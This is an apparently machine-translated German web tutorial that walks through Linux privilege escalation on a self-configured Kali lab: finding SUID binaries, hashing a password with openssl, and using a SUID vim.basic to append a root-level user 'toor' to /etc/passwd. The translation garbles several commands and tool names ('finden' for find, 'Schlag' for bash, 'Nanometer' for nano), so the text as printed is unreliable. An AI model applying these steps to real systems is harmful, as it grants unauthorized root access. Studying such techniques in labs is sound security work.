Linux verwendet die suid vim.basic-Datei, um eine Rechteausweitung zu erreichen

Linux verwendet die suid vim.basic-Datei, um eine Rechteausweitung zu erreichen

Auf Kali reproduzieren

Legen Sie zunächst die Suid-Berechtigungen für die erforderliche vim.basic-Datei fest.

chmod u+s /usr/bin/vim.basic

Zuerst adduser test1, ein Benutzer mit normalen Berechtigungen

Jetzt ist eine geeignete Umgebung für die Rechteausweitung

Sie können Dateien mit Suid-Berechtigungen mit dem folgenden Befehl finden

finden / -user root -perm -4000 -print 2>/dev/null
finden / -perm -u=s -type f 2>/dev/null
finden / -user root -perm -4000 -exec ls -ldb {} \;

Die Dateien, die zur Rechteausweitung verwendet werden können, sind

  • nmap
  • vim
  • finden
  • Schlag
  • mehr
  • weniger
  • Nanometer
  • cp

Die Idee, vim zum Erhöhen von Berechtigungen zu verwenden, besteht darin, die Datei etc/passwd zu ändern und einen Benutzer mit Root-Berechtigungen für sich selbst hinzuzufügen

Das Benutzerformat der Passwd-Datei lautet: Benutzername:Passwort:UID:GID:Kommentar:Home-Verzeichnis:Benutzer-Shell

Hier sehen Sie das Format des Root-Benutzers

root:x:0:0:root:/root:/bin/bash

(Der Passwortteil ist x, da das echte Passwort in der Datei /etc/shadow gespeichert ist)

Generieren Sie ein Passwort: Verwenden Sie openssl passwd -1 –salt asd 123 (hier ist -1 (Zahl 1) nicht L)

Schreiben Sie es direkt in die Passwd-Datei.

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

Sie können es mit vim /etc/passwd ändern, aber beim Speichern wird E212 angezeigt und es kann nicht gespeichert werden, was uns mit der Meldung anzeigt, dass wir keine Berechtigung zum Ändern haben

Zu diesem Zeitpunkt sollten Sie die zuvor gefundene Datei vim.basic verwenden, um es auszuführen. Dieses Programm verfügt über SUID-Berechtigungen. Definitiv editierbar

vim.basic /etc/passwd

Hiermit können Sie die Datei öffnen, anschließend ändern und erfolgreich speichern.

Sie können sehen, dass es hinzugefügt wurde. Wechseln Sie zu su toor, Kennwort 123, und überprüfen Sie dann die Berechtigungen mit der ID

Root-Berechtigungen

chmod u+s /usr/bin/vim.basic

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, er wird für jedermanns Studium hilfreich sein. Ich hoffe auch, dass jeder 123WORDPRESS.COM unterstützen wird.

Das könnte Sie auch interessieren:
  • Trash-Cli: Befehlszeilen-Papierkorb-Tool unter Linux
  • 101 Skripte zum Erstellen eines Linux-Papierkorbskripts
  • Lösen Sie schnell das Problem der chinesischen Eingabemethode unter Linux
  • Verwenden Sie MySQL, um Port 3306 zu öffnen/ändern und Zugriffsberechtigungen in der Ubuntu/Linux-Umgebung zu öffnen
  • Detaillierte Erläuterung der Befehle zum Lesen und Schreiben von Remotedateien mit Vim im Linux-System
  • Lösung für den Absturz der Grafikkarte auf Linux-Servern
  • Detaillierte Erläuterung des Implementierungsprozesses und der Verwendung des Linux-Papierkorbmechanismus

<<:  Ein Artikel, der Ihnen hilft, die Positionsberechnung in js gründlich zu verstehen

>>:  Detaillierte Erläuterung der kombinierten MySQL-Indexmethode

Artikel empfehlen

So weisen Sie einer Instanz in Linux eine öffentliche IP-Adresse zu

beschreiben Beim Aufruf dieser Schnittstelle müss...

Verwendung des Linux-Befehls ln

1. Befehlseinführung Mit dem Befehl ln werden Lin...

MySQL Multi-Instance-Bereitstellungs- und Installationshandbuch unter Linux

Was ist MySQL Multi-Instance Einfach ausgedrückt ...

MySQL-Fehlernummer 1129 – Lösung

SQLyog stellt eine Verbindung zu MySQL her, Fehle...

Detaillierte Erklärung des Hintergrund-Positionsprozentsatzprinzips

Als ich heute jemandem beim Anpassen des Codes ha...

Beispielanalyse der drei Verbindungsmethoden für virtuelle VMware-Maschinen

NAT Auf diese Weise wird die Netzwerkkarte der vi...

Hilfe zum Webdesign: Datenreferenz für Web-Schriftgrößen

<br />Der Inhalt wurde aus dem Internet repr...

Vue3-Kompilierungsprozess - Quellcodeanalyse

Vorwort: Vue3 ist schon seit langem verfügbar. Vo...

W3C Tutorial (1): W3C verstehen

Das W3C, eine 1994 gegründete Organisation, zielt...

Der Kernprozess der NodeJS-Verarbeitung einer TCP-Verbindung

Vor ein paar Tagen habe ich mit einem Freund etwa...

Der Unterschied zwischen den Feldtypen char, varchar und Text in MySQL

In MySQL können alle Felder der Typen char, varch...

Implementierung eines Karussells mit nativem JavaScript

In diesem Artikel finden Sie den spezifischen Cod...